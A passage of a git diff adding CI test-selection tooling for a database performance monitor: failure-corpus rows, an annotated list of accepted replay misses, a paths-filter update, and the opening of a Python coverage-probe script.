+{"date":"2026-10-06","head_sha":"91536b53039d311bbe8fdc5a46fbf09d3b90cdd5","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpPlanCorrectionToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingTrendEmptyTests.cs","Darling/Darling.Tests/DatabaseFilterEmptyAnswerLiveTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/DurationTrendDatabaseFilterLiveTests.cs","Darling/Darling.Tests/EmptyAnswerDatabaseEchoTests.cs","Darling/Darling.Tests/EventWindowedReadsAreBoundedLivePostgresTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpLongQueryTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanCorrectionTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreClutterTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTrendTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/McpZeroIsAMeasurementTests.cs","Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs","Darling/Darling.Tests/PlanCorrectionsWebDefaultTests.cs","Darling/Darling.Tests/QueryEventsDatabaseFilterLiveTests.cs","Darling/Darling.Tests/QueryReadsWebDispatchLiveTests.cs","Darling/Darling.Tests/QueryStoreClutterLivePostgresTests.cs","Darling/Darling.Tests/QueryStoreClutterTests.cs","Darling/Darling.Tests/QueryStoreTrendIntervalRateTests.cs","Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs","Darling/Darling.Tests/ViewerBlockingSourceLabelTests.cs","Darling/Darling.Tests/ViewerBlockingSourceLivePostgresTests.cs","Darling/Darling.Tests/ViewerQueriesRestTests.cs","Darling/Darling.Tests/ViewerQueryTrendBucketingReviewTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/Darling.Tests/WebBlockingSourceBehaviourTests.cs","Darling/Darling.Tests/WebDataStartNoteTests.cs","Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs","Darling/Darling.Tests/web-blocking-source-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLongQueryReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/McpCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Storage/DarlingQueryStoreClutterReader.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreClutter.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Lite.Tests/BlockingSourceLabelTests.cs","Lite.Tests/DurationTrendDatabaseFilterToolTests.cs","Lite.Tests/DurationTrendFilteredDenominatorTests.cs","Lite.Tests/EventListDatabaseFilterToolTests.cs","Lite.Tests/McpToolsListBudget/McpLongQueryTools.txt","Lite.Tests/McpToolsListBudget/McpPlanCorrectionTools.txt","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/PerformanceTrendDurationBucketingTests.cs","Lite/Controls/ServerTab.BlockingStats.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Mcp/McpLongQueryTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.DatabaseFilter.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.TrendBuckets.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs","PerformanceMonitor.Ui/BlockingSourceLabel.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"a6cfe86fd69ac3131b6f6c4f1d9de768a1f4ed59","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/Darling.Tests/ViewerTextLookupWindowBoundLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-07","head_sha":"64d26b5365e4d000fc6f577d9e61f1a10290f330","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreObjectConvergenceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-10-07","head_sha":"f796927ad5ea5cb0100325a46599aa24e9853dac","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionGapAtStartTests.cs","Darling/Darling.Tests/DarlingTriageEndpointTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/AlertSeverityTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AlertSeverity.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.CollectionGapAtStartTests"],"failed_jobs":["build","Darling PG tests (4)","Darling PG tests (5)"]}
+{"date":"2026-10-07","head_sha":"02ae3efb1f409e38b77d30942a23a17073e6b708","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs","Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"],"failed_classes":["Darling.Tests.StatementFilterAlertTests"],"failed_jobs":["Darling PG tests (4)"]}
+{"date":"2026-10-07","head_sha":"fb215e45381ce3378433dcf434a04f9533068416","event":"push","changed_files":["Darling/Darling.Tests/AlertDeliveryChannelTests.cs","Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/IncidentDeliveryFilterTests.cs","Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs","Darling/Darling.Tests/PasswordKeyRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql","Lite.Tests/AgAlertEvaluatorTests.cs","Lite.Tests/AlertIncidentRenderTests.cs","Lite.Tests/IncidentCooldownTests.cs","Lite.Tests/PagerDutyWebhookTests.cs","Lite.Tests/PerEventNotificationTests.cs","Lite/App.xaml.cs","Lite/Services/AgAlertEvaluator.cs","Lite/Services/AppAlertSettings.cs","Lite/Windows/SettingsWindow.xaml","Lite/Windows/SettingsWindow.xaml.cs","Lite/config/settings.sample.json","PerformanceMonitor.Notifications/AgAlertContexts.cs","PerformanceMonitor.Notifications/AlertContext.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/EmailSendCore.cs","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/IncidentCooldown.cs","PerformanceMonitor.Notifications/IncidentDeliveryFilter.cs","PerformanceMonitor.Notifications/PerEventNotification.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs"],"failed_classes":["PerformanceMonitorLite.Tests.BlockingDatabaseFilterToolTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-10-07","head_sha":"0f92fa3b30bd7349208a84cf2649d4dd9aee981d","event":"push","changed_files":["Darling/Darling.Tests/DarlingHeartbeatTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingHeartbeat.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/README.md"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["Darling PG tests (3)"]}
+{"date":"2026-10-07","head_sha":"61afbdfd924262bba990d222be66b2146164c8c0","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/CollectionHistoryAuditTests.cs","Darling/Darling.Tests/DarlingTriageEndpointTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/CollectionHistoryAudit.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/SelfAlertDeliveryStampStore.cs","Darling/README.md","Lite.Tests/AlertSeverityTests.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AlertSeverity.cs"],"failed_classes":["Darling.Tests.AlertMasterSwitchSurfaceTests","Lite.Tests.CrossSkuSurfaceSourceTests"],"failed_jobs":["build","Lite tests (2)","Darling PG tests (1)","Darling PG tests (4)"]}
+{"date":"2026-10-07","head_sha":"ff2bd1569e4c8da726367c34525d9ac0c0d1aaff","event":"push","changed_files":["Darling/Darling.Tests/ConfigDatabaseFilterLiveTests.cs","Darling/Darling.Tests/DarlingMcpConfigHistoryToolsTests.cs","Darling/Darling.Tests/DarlingMcpDefaultTraceToolsTests.cs","Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs","Darling/Darling.Tests/DatabaseConfigWebColumnsTests.cs","Darling/Darling.Tests/DatabaseNameHistoryTests.cs","Darling/Darling.Tests/EventsDatabaseFilterLiveTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpConfigHistoryTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDefaultTraceTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpHealthParserTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs","Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs","Darling/Darling.Tests/WebReadProbe.cs","Darling/Darling.Tests/web-database-filter-chips-harness.mjs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingConfigHistoryReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCurrentConfigReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthParserTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs","Lite.Tests/McpDatabaseNameFilterToolTests.cs","Lite.Tests/McpToolsListBudget/McpConfigHistoryTools.txt","Lite.Tests/McpToolsListBudget/McpDefaultTraceTools.txt","Lite.Tests/McpToolsListBudget/McpHealthParserTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/SystemEventsReaderTests.cs","Lite/Mcp/McpConfigHistoryTools.cs","Lite/Mcp/McpConfigTools.cs","Lite/Mcp/McpDefaultTraceTools.cs","Lite/Mcp/McpHealthParserTools.cs","Lite/Services/LocalDataService.SystemEvents.cs","PerformanceMonitor.Common/DatabaseNameHistory.cs"],"failed_classes":["Darling.Tests.StatementFilterBlockingReadsLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
diff --git a/.github/ci-history/replay-accepted.txt b/.github/ci-history/replay-accepted.txt
new file mode 100644
index 0000000000..412eee2bef
--- /dev/null
+++ b/.github/ci-history/replay-accepted.txt
@@ -0,0 +1,129 @@
+# Corpus rows today's rules do not select a failing class for, and why that is not a selection gap.
+# A miss not listed here fails ci-select.py --replay. Format: <10-char head sha> <class>.
+
+# A Darling class failed on a run whose changed files (as last recorded for the pull request) are
+# documentation only. The failing attempt ran on an earlier head of the pull request that held code, so the
+# recorded list is not the list that run saw.
+cc29d98125 Darling.Tests.RepoFileAdoptionTests
+7b64070c98 Darling.Tests.DarlingDeployRollbackRetentionTests
+e6dbdbea94 Darling.Tests.IncidentAttachmentDeliveryTests
+
+# A Lite class failed on a Darling-only diff, before the Reads=Darling selection (build.yml, 2026-10-04)
+# existed or while the pull request still carried the older workflow. DarlingReadsTraitGuardTests derives the
+# Reads=Darling tag from the class source, so a class without it reads no Darling file: the diff did not cause
+# the failure.
+d0d482835c PerformanceMonitorLite.Tests.PerformanceCalendarDataTests
+cd34bbcb31 PerformanceMonitorLite.Tests.StatusBarSizeReadLockTests
+1792370ebd PerformanceMonitorLite.Tests.McpPageContractTests
+32239fd349 PerformanceMonitorLite.Tests.MemoryTrendGrantJoinToolTests
+ad89ad83a7 PerformanceMonitorLite.Tests.LocalClockBucketKeyTests
+08ca596e65 PerformanceMonitorLite.Tests.LocalClockBucketKeyTests
+d064b8ebc5 PerformanceMonitorLite.Tests.LocalClockBucketKeyTests
+1e9c8ce764 PerformanceMonitorLite.Tests.LocalClockBucketKeyTests
+95a42dab2d PerformanceMonitorLite.Tests.LocalClockBucketKeyTests
+5219f29479 PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests
+e4cb4a3699 PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests
+1c726d7f67 PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests
+c0adc53226 PerformanceMonitorLite.Tests.ScenarioTests
+68ddf17466 PerformanceMonitorLite.Tests.ScenarioTests
+a75333e8e2 PerformanceMonitorLite.Tests.ScenarioTests
+801cb7c1d8 PerformanceMonitorLite.Tests.ScenarioTests
+63ba0d2893 PerformanceMonitorLite.Tests.DuckDbSentinelConnectionTests
+411d87afbe PerformanceMonitorLite.Tests.FinOpsTests
+eca647c2f4 PerformanceMonitorLite.Tests.QueryStoreRegressionsToolTests
+eca647c2f4 PerformanceMonitorLite.Tests.SignificantWaitsToolTests
+# A Darling class failed on a pull request whose recorded changes are Lite files only (cut 3a/3c of #5459). The
+# class source names no Lite path (LiteReadsTraitGuardTests derives the Reads=Lite tag from it, and these carry
+# none; the one 'Lite' in PlanSync4512CancellationTests is a doc comment), so no Lite edit can reach what it
+# tests: each is a timing or live-store test that failed on a first attempt, not a selection gap.
+c3a18e1785 Darling.Tests.PgTargetWaitTests
+67bf55c45a Darling.Tests.ClipboardTextRetryBudgetTests
+48216212d0 Darling.Tests.PlanSync4512CancellationTests
+
+# Map back-test (ci-select.py --replay --map, #5459): a class failed on a run whose changed files do not reach it,
+# and the failure is not a selection gap. Each class was checked against the corpus: none of the run's changed
+# product files is named by the class, none is covered by it, and the class also failed on runs with a different
+# change set, on a push to dev, or as the only failing class of one shard job (a flake or an environment fault).
+# The two mass failures of 2026-09-26 and 2026-09-27 (a store migration broke the shared live-store fixture) are not
+# here: the map builder now links every class of a big xunit collection to what the collection's fixture ran.
+02ae3efb1f Darling.Tests.StatementFilterAlertTests
+03d9905807 Darling.Tests.PgServerLogTailRotationLiveTests
+0654199a72 Darling.Tests.PgServerLogTailRotationLiveTests
+0ac14fc78e Darling.Tests.DarlingAnomalyBaselineTests
+0b92d8248f Darling.Tests.PgServerLogTailRotationLiveTests
+0c58c0eb56 Darling.Tests.PgTargetSampledWaitLiveTests
+0c983ef54d Darling.Tests.PgLogBurstAndRotationLiveTests
+11729239b1 Darling.Tests.XminHorizonPersistenceReadTests
+2c39e009ff Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+33932296ca Darling.Tests.StoreStatementStatsLiveTests
+3af3ade9ea Darling.Tests.StoreStatementStatsLiveTests
+3b2d41baae Darling.Tests.QueryStoreIntervalWideGridLiveTests
+3bb3ae8fe9 Darling.Tests.TrendPayloadBudgetLiveTests
+3de285b652 Darling.Tests.DarlingAnomalyBaselineTests
+40284b0061 Darling.Tests.PayloadDimensionLiveTests
+4756659045 Darling.Tests.QueryStoreLegacyRowIndexLiveTests
+4a3f52389e PerformanceMonitorLite.Tests.TimeHonestyRungReadTests
+4f8499a944 PerformanceMonitorLite.Tests.TimeHonestyRungReadTests
+6ac72f8605 Darling.Tests.StoreStatementStatsLiveTests
+6de10f4dcb Darling.Tests.StoreSessionTimeZoneLiveTests
+87836cc97e Darling.Tests.DarlingAnomalyBaselineTests
+87e78aa474 PerformanceMonitorLite.Tests.DataStartBannerProbeFailureTests
+88204f7cd2 Darling.Tests.RdsDeadlockIngestorTests
+8875188337 Darling.Tests.DarlingAnomalyBaselineTests
+89c271dd17 Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+8a800ed6c6 PerformanceMonitorLite.Tests.LiteDeltaSeederTests
+8b3c5767f0 Darling.Tests.SqlServerStoreTileBehaviourTests
+8f95de197e Darling.Tests.StatementFilterAlertTests
+93d34a73cd Darling.Tests.RollupBackfillLiveTests
+99ad6aebf6 Darling.Tests.PlanSync4512CancellationTests
+9be59f1a95 Darling.Tests.CollectionLogDrainForensicsStoreTests
+a3b5749937 Darling.Tests.DarlingAnomalyBaselineTests
+af31e98db0 Darling.Tests.StoreSessionTimeZoneLiveTests
+b33399f219 Darling.Tests.DarlingCloudIdentityProbeTests
+c20797c24a Darling.Tests.PgDeadlockNormalizationTests
+c9877aad46 Darling.Tests.DarlingAnomalyBaselineTests
+c9a1a81456 Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests
+d0d482835c Darling.Tests.XminHorizonPersistenceReadTests
+d0fb0ff183 Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+d5370df470 Darling.Tests.DarlingAnomalyBaselineTests
+d6c02bf28a Darling.Tests.DarlingStoreUpgradeRevertTests
+ed114b5b17 Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+f07bfc441f PerformanceMonitorLite.Tests.TrendEmptyParityToolTests
+
+# The changelog splice (release archive) run whose failing class is a live-database class that no changelog
+# change can affect. Since #5614 the three splice files (CHANGELOG.md, docs/changelog/<version>.md and
+# tools/changelog/archive-census.txt) are documentation, so a splice takes the docs fast path and selects no
+# class; the failure on that run was not caused by the splice.
+e20c881360 Darling.Tests.MigrationUpgradeLadderLiveTests
+
+# Map replay against the first nightly map (#5459, run 37892110132): six misses left after the map's own links, each
+# checked against the failing job's log (measured) and the corpus. None is a selection gap; none is listed to hide
+# one. A sha here is the head of a pull request run, and the map, if it were live, would have given that run no
+# reason to run the class because the class is unrelated to the diff.
+#
+# LiteServerTagsStoreTests (a304350fe3, measured): the diff is the Lite logger (AppLogger, App.xaml.cs, the
+# collector runner) and the failure is a TimeoutException from LocalDataService.OpenWriteConnectionAsync, "Could not
+# acquire database write lock", on the class's first write and then its second. Nothing in the diff opens or holds
+# a store write lock. Every later head of the same pull request (9981020a8a, 54244d4282, f415eae60c) passed, with
+# the logger files still in its diff, and no other row of the corpus has this class failing. A shared-fixture lock
+# timeout on a loaded runner (the lock holder is inferred, not seen).
+a304350fe3 Lite.Tests.LiteServerTagsStoreTests
+#
+# EventWindowedReadsAreBoundedLivePostgresTests (the four heads of one pull request on 2026-09-25, measured): the
+# test had been failing on dev itself from the merge of #4235 (06:11Z) until its fix, #4275 (10:34Z): the corpus
+# holds it failing on two dev pushes (f5e001fe65, 659e11a39b) and on nine other pull-request heads that day, all
+# changing other things, nearly all with "Darling PG tests (0)" as the failed job. The four heads ran 09:33Z to
+# 10:14Z, inside that window; the first one's log shows the plan test's own message ("expected the floor to exclude at
+# least 2 of the 4 seeded old-day chunks"). The change the four heads carry (how the store host is set up) does not
+# explain the failure: the failure predates it.
+f1a1894fd8 Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+69ce7ff7be Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+4b3fe51a97 Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+3747867b5a Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests
+#
+# StoreMetricsLatestSkipScanLiveTests (3bb3ae8fe9, measured): attempt 1 of the run failed in "Darling PG tests (2)"
+# only, five classes within one second (06:52:04 to 06:52:05), with "57P03: the database system is in recovery
+# mode" (the shard's PostgreSQL server had restarted after a backend crash) and the scratch-database drops retrying
+# on the same error. Attempt 2 of the same head passed every shard. A first-attempt environment fault of the
+# shard's server; the 28 changed files (viewer data-start work) did not cause it.
+3bb3ae8fe9 Darling.Tests.StoreMetricsLatestSkipScanLiveTests
diff --git a/.github/darling-paths-filter.yml b/.github/darling-paths-filter.yml
index 4009f8a810..d2870c19e5 100644
--- a/.github/darling-paths-filter.yml
+++ b/.github/darling-paths-filter.yml
@@ -1,6 +1,8 @@
 # The ONE Darling path gate. Both Darling jobs in .github/workflows/build.yml — `Darling PostgreSQL
 # tests` and `Darling Linux build` — read this file through dorny/paths-filter's documented
-# `filters: <relative path>` form, so the two jobs cannot disagree about what reaches Darling.
+# `filters: <relative path>` form, so the two jobs cannot disagree about what reaches Darling. The build
+# job reads it a third time to learn whether the PostgreSQL shards run (#5459 cut 3b), and
+# .github/scripts/ci-select.py reads it to replay the failure corpus.
 #
 # A FILE rather than a list per job (#3116). The PG job's own filter named `Darling/**` and the two
 # workflows and nothing else, while the Linux job in the same file already listed shared libraries;
@@ -44,6 +46,15 @@ darling:
   # worker-sizing formula, so an edit to it has to reach the suite. The Linux job runs no tests and
   # carries this entry only by sharing the file; it costs that job one publish and one image build.
   - '.github/workflows/nightly.yml'
+  # #5616: the Darling PostgreSQL shard script and the Lite shard script are run by the shard jobs and
+  # parsed by Darling.Tests pins, so an edit to either has to reach the suite.
+  - '.github/scripts/run-darling-pg-shard.ps1'
+  - '.github/scripts/run-lite-shard.ps1'
+  # #5627: the Darling upgrade-shape workflow and its script. The workflow runs the install and upgrade scripts under
+  # Darling/tools (already covered above) over real releases, and Darling.Tests parses both files, so an edit to
+  # either has to reach the suite.
+  - '.github/workflows/darling-upgrade-shapes.yml'
+  - '.github/scripts/darling-upgrade-shapes.ps1'
 
 # Lite/** is deliberately ABSENT, though build.yml's own `darling` filter carries it. That entry
 # exists because Darling.Tests reads Lite source in its cross-app parity guards, and those guards run
diff --git a/.github/scripts/altcover-probe.py b/.github/scripts/altcover-probe.py
new file mode 100644
index 0000000000..9c7dab0e23
--- /dev/null
+++ b/.github/scripts/altcover-probe.py
@@ -0,0 +1,513 @@
+#!/usr/bin/env python3
+"""AltCover per-test coverage probe helper (#5459 change 4, slice 2).  Standard library only.
+
+The nightly workflow's dispatch-only `altcover-probe` job uses three subcommands:
+
+  select     Pick test classes from a runner class listing (`-list classes/json`), spread over kinds that
+             come from the class's source text.  Profile `darling`: plain unit classes, TestHost / web classes
+             (a TestServer / WebApplicationFactory mention) and live PostgreSQL classes (a DARLING_TEST_PG
+             mention).  Profile `lite`: plain classes, DuckDB-backed classes and classes that start collectors
+             (a RemoteCollectorService mention).  Stage=Guard classes are skipped because they read source text
+             and never run product code.  Deterministic: the sorted candidates are sampled at even steps.
+
+  unwrap-skips  An instrumented run reports a dynamic skip as an AggregateException failure (see the function).
+             This rewrites the instrumented xunit report so those tests are skips again, but only for tests
+             the plain run also skipped.
+
+  summarize  Turn an AltCover OpenCover report (`--callContext=[Fact] --callContext=[Theory]`) into
+             (a) a summary of the probe: overhead, share of visits that carry a test context, holes, and
+             (b) the schema-1 `classes` section of the test map the plan describes:
+                 {schema, tool, files:[universe], classes:{suite:{Class:{own, files:[ids], seconds}}}}
+             `own` is the repo-relative file that declares the class; `files` are indexes into the universe
+             of product source files the class's tests visited; `seconds` is the class's summed test time.
+
+Both subcommands only read files; nothing here talks to a server.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import statistics
+import sys
+import xml.etree.ElementTree as ET
+
+SCHEMA = 1
+CLASS_DECL = re.compile(r"\bclass\s+([A-Za-z_][A-Za-z0-9_]*)")
+WEB_MARKERS = ("WebApplicationFactory", "UseTestServer", "TestServer", "Microsoft.AspNetCore.TestHost")
+LIVE_MARKER = "DARLING_TEST_PG"
+RUNTIME_MARKER = "DARLING_TEST_PGRUNTIME"
+LITE_COLLECTOR_MARKERS = ("RemoteCollectorService",)
+LITE_DUCKDB_MARKERS = ("DuckDB", "DuckDb", "LocalDataService")
+# Default per-kind sample counts (the rest of --total is plain).
+PROFILE_WANTS = {"darling": {"web": 25, "live": 12}, "lite": {"collector": 8, "duckdb": 20}}
+SKIP_TOKEN = "$XunitDynamicSkip$"
+TEXT_READ = re.compile(r"File\.ReadAll|RepoRoot|ReadAllText|ReadLines\(")
+REFLECTION = re.compile(r"GetCustomAttribute|GetMethod\(|GetTypes\(|GetProperties\(|GetFields\(|typeof\(")
+GUARD_MARKER = re.compile(r"Trait\(\s*\"Stage\"\s*,\s*\"Guard\"\s*\)")
+
+
+def norm(path: str) -> str:
+    return path.replace("\\", "/")
+
+
+def simple_name(full: str) -> str:
+    return re.split(r"[.+/]", full)[-1]
+
+
+def classify(text, profile):
+    if GUARD_MARKER.search(text):
+        return "guard"
+    if profile == "lite":
+        if any(marker in text for marker in LITE_COLLECTOR_MARKERS):
+            return "collector"
+        if any(marker in text for marker in LITE_DUCKDB_MARKERS):
+            return "duckdb"
+        return "plain"
+    if any(marker in text for marker in WEB_MARKERS):
+        return "web"
+    if LIVE_MARKER in text and RUNTIME_MARKER not in text:
+        return "live"
+    return "plain"
+
+
+def scan_sources(dirs, root, profile="darling"):
+    """Map simple class name -> {file, kind} for every test source file under `dirs`."""
+    found = {}
+    for base in dirs:
+        for folder, subdirs, names in os.walk(base):
+            subdirs[:] = [d for d in subdirs if d not in ("bin", "obj", ".git", "node_modules")]
+            for name in names:
+                if not name.endswith(".cs"):
+                    continue
+                path = os.path.join(folder, name)
+                try:
+                    with open(path, encoding="utf-8-sig", errors="replace") as handle:
+                        text = handle.read()
+                except OSError:
+                    continue
+                kind = classify(text, profile)
+                rel = norm(os.path.relpath(path, root))
+                for cls in CLASS_DECL.findall(text):
+                    found.setdefault(cls, {"file": rel, "kind": kind})
+    return found
+
+
+def spread(names, count):
+    names = sorted(names)
+    if count <= 0 or not names:
+        return []
+    if count >= len(names):
+        return names
+    step = len(names) / count
+    return [names[int(i * step)] for i in range(count)]
+
+
+def cmd_select(args):
+    with open(args.list, encoding="utf-8-sig") as handle:
+        text = handle.read()
+    start = text.index("[")
+    listed = json.loads(text[start:text.rindex("]") + 1])
+    sources = scan_sources(args.tests_dir, args.root, args.profile)
+    wants = dict(PROFILE_WANTS[args.profile])
+    for item in args.want:
+        name, _, number = item.partition("=")
